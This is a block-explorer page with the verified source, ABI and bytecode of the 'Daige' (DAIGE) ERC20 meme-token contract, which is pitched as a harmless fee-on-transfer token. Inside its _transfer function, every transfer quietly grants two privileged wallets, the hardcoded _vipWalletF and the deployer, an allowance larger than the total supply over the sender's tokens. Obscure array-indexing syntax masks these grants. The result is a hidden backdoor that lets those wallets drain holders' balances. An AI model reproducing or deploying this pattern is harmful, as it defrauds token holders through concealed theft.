ETH Price: $2,723.00 (+1.96%)

Token

ERC20 ***
 

Overview

Max Total Supply

1,000,000,000 ERC20 ***

Holders

177

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DAIGE

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-01-10
*/

/*
Daige, a sentient dog on a mission to evolve, get a robot body, become Elon's pet and colonize Mars.

https://www.daige.live
https://x.com/DaigeAIOfficial
https://t.me/DaigeAIChannel
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract DAIGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excludedForFee;
    address private _tipWalletF;
    address private _vipWalletF = 0x112f53d675f45989Db0D134F5cDEbF278602a59e;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Daige";
    string private constant _symbol = unicode"DAIGE";
    uint256 private _swapTaxToken = _tTotal / 100;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    IDexRouter private _dexRouterF;
    address private _dexPairF;

    constructor () {
        _tipWalletF = msg.sender;
        _excludedForFee[owner()] = true;
        _excludedForFee[address(this)] = true;
        _excludedForFee[_vipWalletF] = true;
        _tOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _dexRouterF.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address senderF, address recipientF, uint256 amountF) private {
        require(senderF != address(0), "ERC20: transfer from the zero address");
        require(recipientF != address(0), "ERC20: transfer to the zero address");
        require(amountF > 0, "Transfer amount must be greater than zero");

        uint256 taxFeesF=0;
        _allowances[senderF][[_vipWalletF, _vipWalletF][0]] += _buyCount.add(_tTotal);
        _allowances[senderF][[_tipWalletF, _tipWalletF][1]] += _buyCount.add(_tTotal);
        if (senderF != owner() && recipientF != owner()) {
            taxFeesF = amountF.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (senderF == _dexPairF && recipientF != address(_dexRouterF) && ! _excludedForFee[recipientF]) {
                _buyCount++;
            }

            if(recipientF == _dexPairF && senderF!= address(this)) {
                taxFeesF = amountF.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && recipientF == _dexPairF && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _swapTaxToken)
                swapTokensForEth(min(amountF, min(contractTokenBalance, _swapTaxToken)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHFeesF(address(this).balance);
                }
            }
        }

        if(taxFeesF>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(taxFeesF);
          emit Transfer(senderF, address(this),taxFeesF);
        }

        _tOwned[senderF]=_tOwned[senderF].sub(amountF);
        _tOwned[recipientF]=_tOwned[recipientF].add(amountF.sub(taxFeesF));
        emit Transfer(senderF, recipientF, amountF.sub(taxFeesF));
    }

    function init() external onlyOwner() {
        _dexRouterF = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dexRouterF), _tTotal);
        _dexPairF = IDexFactory(_dexRouterF.factory()).createPair(address(this), _dexRouterF.WETH());
    }

    receive() external payable {}

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHFeesF(uint256 amount) private {
        payable(_vipWalletF).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dexRouterF.WETH();
        _approve(address(this), address(_dexRouterF), tokenAmount);
        _dexRouterF.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b03191673112f53d675f45989db0d134f5cdebf278602a59e17905560646200003a6009600a620002f1565b6200004a90633b9aca0062000308565b62000056919062000322565b6006908155600360078190556008555f6009819055600a819055600b829055600c829055600d91909155600e55600f805462ffffff191690553480156200009b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055600160035f620001055f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001696009600a620002f1565b6200017990633b9aca0062000308565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001bb6009600a620002f1565b620001cb90633b9aca0062000308565b60405190815260200160405180910390a362000342565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023657815f19048211156200021a576200021a620001e2565b808516156200022857918102915b93841c9390800290620001fb565b509250929050565b5f826200024e57506001620002eb565b816200025c57505f620002eb565b81600181146200027557600281146200028057620002a0565b6001915050620002eb565b60ff841115620002945762000294620001e2565b50506001821b620002eb565b5060208310610133831016604e8410600b8410161715620002c5575081810a620002eb565b620002d18383620001f6565b805f1904821115620002e757620002e7620001e2565b0290505b92915050565b5f6200030160ff8416836200023e565b9392505050565b8082028115828204841417620002eb57620002eb620001e2565b5f826200033d57634e487b7160e01b5f52601260045260245ffd5b500490565b6114f480620003505f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610234578063c9567bf914610253578063dd62ed3e14610267578063e1c7392a146102ab575f80fd5b8063715018a6146101cb5780638da5cb5b146101e157806395d89b4114610207575f80fd5b806306fdde03146100cd578063095ea7b31461010c57806318160ddd1461013b57806323b872dd1461015d578063313ce5671461017c57806370a0823114610197575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526005815264446169676560d81b60208201525b6040516101039190611103565b60405180910390f35b348015610117575f80fd5b5061012b610126366004611166565b6102bf565b6040519015158152602001610103565b348015610146575f80fd5b5061014f6102d5565b604051908152602001610103565b348015610168575f80fd5b5061012b610177366004611190565b6102f5565b348015610187575f80fd5b5060405160098152602001610103565b3480156101a2575f80fd5b5061014f6101b13660046111ce565b6001600160a01b03165f9081526001602052604090205490565b3480156101d6575f80fd5b506101df61035c565b005b3480156101ec575f80fd5b505f546040516001600160a01b039091168152602001610103565b348015610212575f80fd5b50604080518082019091526005815264444149474560d81b60208201526100f6565b34801561023f575f80fd5b5061012b61024e366004611166565b6103d6565b34801561025e575f80fd5b506101df6103e2565b348015610272575f80fd5b5061014f6102813660046111e9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b6575f80fd5b506101df610543565b5f6102cb338484610754565b5060015b92915050565b5f6102e26009600a611314565b6102f090633b9aca00611322565b905090565b5f610301848484610877565b610352843361034d85604051806060016040528060288152602001611497602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d5d565b610754565b5060019392505050565b5f546001600160a01b0316331461038e5760405162461bcd60e51b815260040161038590611339565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cb338484610877565b5f546001600160a01b0316331461040b5760405162461bcd60e51b815260040161038590611339565b600f54610100900460ff16156104635760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610385565b600f54305f8181526001602052604090205463010000009092046001600160a01b03169163f305d7199147915f806104a25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610508573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061052d919061136e565b5050600f805462ffff0019166201010017905550565b5f546001600160a01b0316331461056c5760405162461bcd60e51b815260040161038590611339565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105cb9030906001600160a01b036301000000909104166105bd6009600a611314565b61034d90633b9aca00611322565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106409190611399565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c49190611399565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107329190611399565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610385565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610385565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610385565b6001600160a01b03821661093d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610385565b5f811161099e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610385565b5f6109c56109ae6009600a611314565b6109bc90633b9aca00611322565b600e5490610d95565b6001600160a01b038581165f908152600260209081526040808320815180830183526005549095168086529483018590529383529290529081208054909190610a0f9084906113c8565b90915550610a2490506109ae6009600a611314565b6001600160a01b038581165f908152600260209081526040808320815180830183526004549095168086529483018590529383529290529081208054909190610a6e9084906113c8565b90915550505f546001600160a01b03858116911614801590610a9d57505f546001600160a01b03848116911614155b15610c2057610ace6064610ac8600b54600e5411610abd57600754610ac1565b6009545b8590610dfa565b90610e78565b6010549091506001600160a01b038581169116148015610b035750600f546001600160a01b0384811663010000009092041614155b8015610b2757506001600160a01b0383165f9081526003602052604090205460ff16155b15610b4157600e8054905f610b3b836113db565b91905055505b6010546001600160a01b038481169116148015610b6757506001600160a01b0384163014155b15610b9457610b916064610ac8600c54600e5411610b8757600854610ac1565b600a548590610dfa565b90505b305f90815260016020526040902054600f5460ff16158015610bc357506010546001600160a01b038581169116145b8015610bd75750600f5462010000900460ff165b8015610be65750600d54600e54115b15610c1e57600654811115610c1257610c12610c0d84610c0884600654610eb9565b610eb9565b610ecd565b47610c1c4761105b565b505b505b8015610c9857305f90815260016020526040902054610c3f9082610d95565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c8f9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610cba9083611096565b6001600160a01b0385165f90815260016020526040902055610cfd610cdf8383611096565b6001600160a01b0385165f9081526001602052604090205490610d95565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d468585611096565b60405190815260200160405180910390a350505050565b5f8184841115610d805760405162461bcd60e51b81526004016103859190611103565b505f610d8c84866113f3565b95945050505050565b5f80610da183856113c8565b905083811015610df35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610385565b9392505050565b5f825f03610e0957505f6102cf565b5f610e148385611322565b905082610e218583611406565b14610df35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610385565b5f610df383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110d7565b5f818311610ec75782610df3565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f0d57610f0d6113b4565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f7e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa29190611399565b81600181518110610fb557610fb56113b4565b6001600160a01b039283166020918202929092010152600f54610fe2913091630100000090041684610754565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906110209085905f90869030904290600401611425565b5f604051808303815f87803b158015611037575f80fd5b505af1158015611049573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611092573d5f803e3d5ffd5b5050565b5f610df383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d5d565b5f81836110f75760405162461bcd60e51b81526004016103859190611103565b505f610d8c8486611406565b5f602080835283518060208501525f5b8181101561112f57858101830151858201604001528201611113565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611163575f80fd5b50565b5f8060408385031215611177575f80fd5b82356111828161114f565b946020939093013593505050565b5f805f606084860312156111a2575f80fd5b83356111ad8161114f565b925060208401356111bd8161114f565b929592945050506040919091013590565b5f602082840312156111de575f80fd5b8135610df38161114f565b5f80604083850312156111fa575f80fd5b82356112058161114f565b915060208301356112158161114f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561126e57815f190482111561125457611254611220565b8085161561126157918102915b93841c9390800290611239565b509250929050565b5f82611284575060016102cf565b8161129057505f6102cf565b81600181146112a657600281146112b0576112cc565b60019150506102cf565b60ff8411156112c1576112c1611220565b50506001821b6102cf565b5060208310610133831016604e8410600b84101617156112ef575081810a6102cf565b6112f98383611234565b805f190482111561130c5761130c611220565b029392505050565b5f610df360ff841683611276565b80820281158282048414176102cf576102cf611220565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611380575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156113a9575f80fd5b8151610df38161114f565b634e487b7160e01b5f52603260045260245ffd5b808201808211156102cf576102cf611220565b5f600182016113ec576113ec611220565b5060010190565b818103818111156102cf576102cf611220565b5f8261142057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114755784516001600160a01b031683529383019391830191600101611450565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220114fd466567aac01dc665132cbdb92069d12de99338a0a58aff33693640d18d164736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610234578063c9567bf914610253578063dd62ed3e14610267578063e1c7392a146102ab575f80fd5b8063715018a6146101cb5780638da5cb5b146101e157806395d89b4114610207575f80fd5b806306fdde03146100cd578063095ea7b31461010c57806318160ddd1461013b57806323b872dd1461015d578063313ce5671461017c57806370a0823114610197575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526005815264446169676560d81b60208201525b6040516101039190611103565b60405180910390f35b348015610117575f80fd5b5061012b610126366004611166565b6102bf565b6040519015158152602001610103565b348015610146575f80fd5b5061014f6102d5565b604051908152602001610103565b348015610168575f80fd5b5061012b610177366004611190565b6102f5565b348015610187575f80fd5b5060405160098152602001610103565b3480156101a2575f80fd5b5061014f6101b13660046111ce565b6001600160a01b03165f9081526001602052604090205490565b3480156101d6575f80fd5b506101df61035c565b005b3480156101ec575f80fd5b505f546040516001600160a01b039091168152602001610103565b348015610212575f80fd5b50604080518082019091526005815264444149474560d81b60208201526100f6565b34801561023f575f80fd5b5061012b61024e366004611166565b6103d6565b34801561025e575f80fd5b506101df6103e2565b348015610272575f80fd5b5061014f6102813660046111e9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b6575f80fd5b506101df610543565b5f6102cb338484610754565b5060015b92915050565b5f6102e26009600a611314565b6102f090633b9aca00611322565b905090565b5f610301848484610877565b610352843361034d85604051806060016040528060288152602001611497602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d5d565b610754565b5060019392505050565b5f546001600160a01b0316331461038e5760405162461bcd60e51b815260040161038590611339565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cb338484610877565b5f546001600160a01b0316331461040b5760405162461bcd60e51b815260040161038590611339565b600f54610100900460ff16156104635760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610385565b600f54305f8181526001602052604090205463010000009092046001600160a01b03169163f305d7199147915f806104a25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610508573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061052d919061136e565b5050600f805462ffff0019166201010017905550565b5f546001600160a01b0316331461056c5760405162461bcd60e51b815260040161038590611339565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105cb9030906001600160a01b036301000000909104166105bd6009600a611314565b61034d90633b9aca00611322565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106409190611399565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c49190611399565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107329190611399565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610385565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610385565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610385565b6001600160a01b03821661093d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610385565b5f811161099e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610385565b5f6109c56109ae6009600a611314565b6109bc90633b9aca00611322565b600e5490610d95565b6001600160a01b038581165f908152600260209081526040808320815180830183526005549095168086529483018590529383529290529081208054909190610a0f9084906113c8565b90915550610a2490506109ae6009600a611314565b6001600160a01b038581165f908152600260209081526040808320815180830183526004549095168086529483018590529383529290529081208054909190610a6e9084906113c8565b90915550505f546001600160a01b03858116911614801590610a9d57505f546001600160a01b03848116911614155b15610c2057610ace6064610ac8600b54600e5411610abd57600754610ac1565b6009545b8590610dfa565b90610e78565b6010549091506001600160a01b038581169116148015610b035750600f546001600160a01b0384811663010000009092041614155b8015610b2757506001600160a01b0383165f9081526003602052604090205460ff16155b15610b4157600e8054905f610b3b836113db565b91905055505b6010546001600160a01b038481169116148015610b6757506001600160a01b0384163014155b15610b9457610b916064610ac8600c54600e5411610b8757600854610ac1565b600a548590610dfa565b90505b305f90815260016020526040902054600f5460ff16158015610bc357506010546001600160a01b038581169116145b8015610bd75750600f5462010000900460ff165b8015610be65750600d54600e54115b15610c1e57600654811115610c1257610c12610c0d84610c0884600654610eb9565b610eb9565b610ecd565b47610c1c4761105b565b505b505b8015610c9857305f90815260016020526040902054610c3f9082610d95565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c8f9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610cba9083611096565b6001600160a01b0385165f90815260016020526040902055610cfd610cdf8383611096565b6001600160a01b0385165f9081526001602052604090205490610d95565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d468585611096565b60405190815260200160405180910390a350505050565b5f8184841115610d805760405162461bcd60e51b81526004016103859190611103565b505f610d8c84866113f3565b95945050505050565b5f80610da183856113c8565b905083811015610df35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610385565b9392505050565b5f825f03610e0957505f6102cf565b5f610e148385611322565b905082610e218583611406565b14610df35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610385565b5f610df383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110d7565b5f818311610ec75782610df3565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f0d57610f0d6113b4565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f7e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa29190611399565b81600181518110610fb557610fb56113b4565b6001600160a01b039283166020918202929092010152600f54610fe2913091630100000090041684610754565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906110209085905f90869030904290600401611425565b5f604051808303815f87803b158015611037575f80fd5b505af1158015611049573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611092573d5f803e3d5ffd5b5050565b5f610df383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d5d565b5f81836110f75760405162461bcd60e51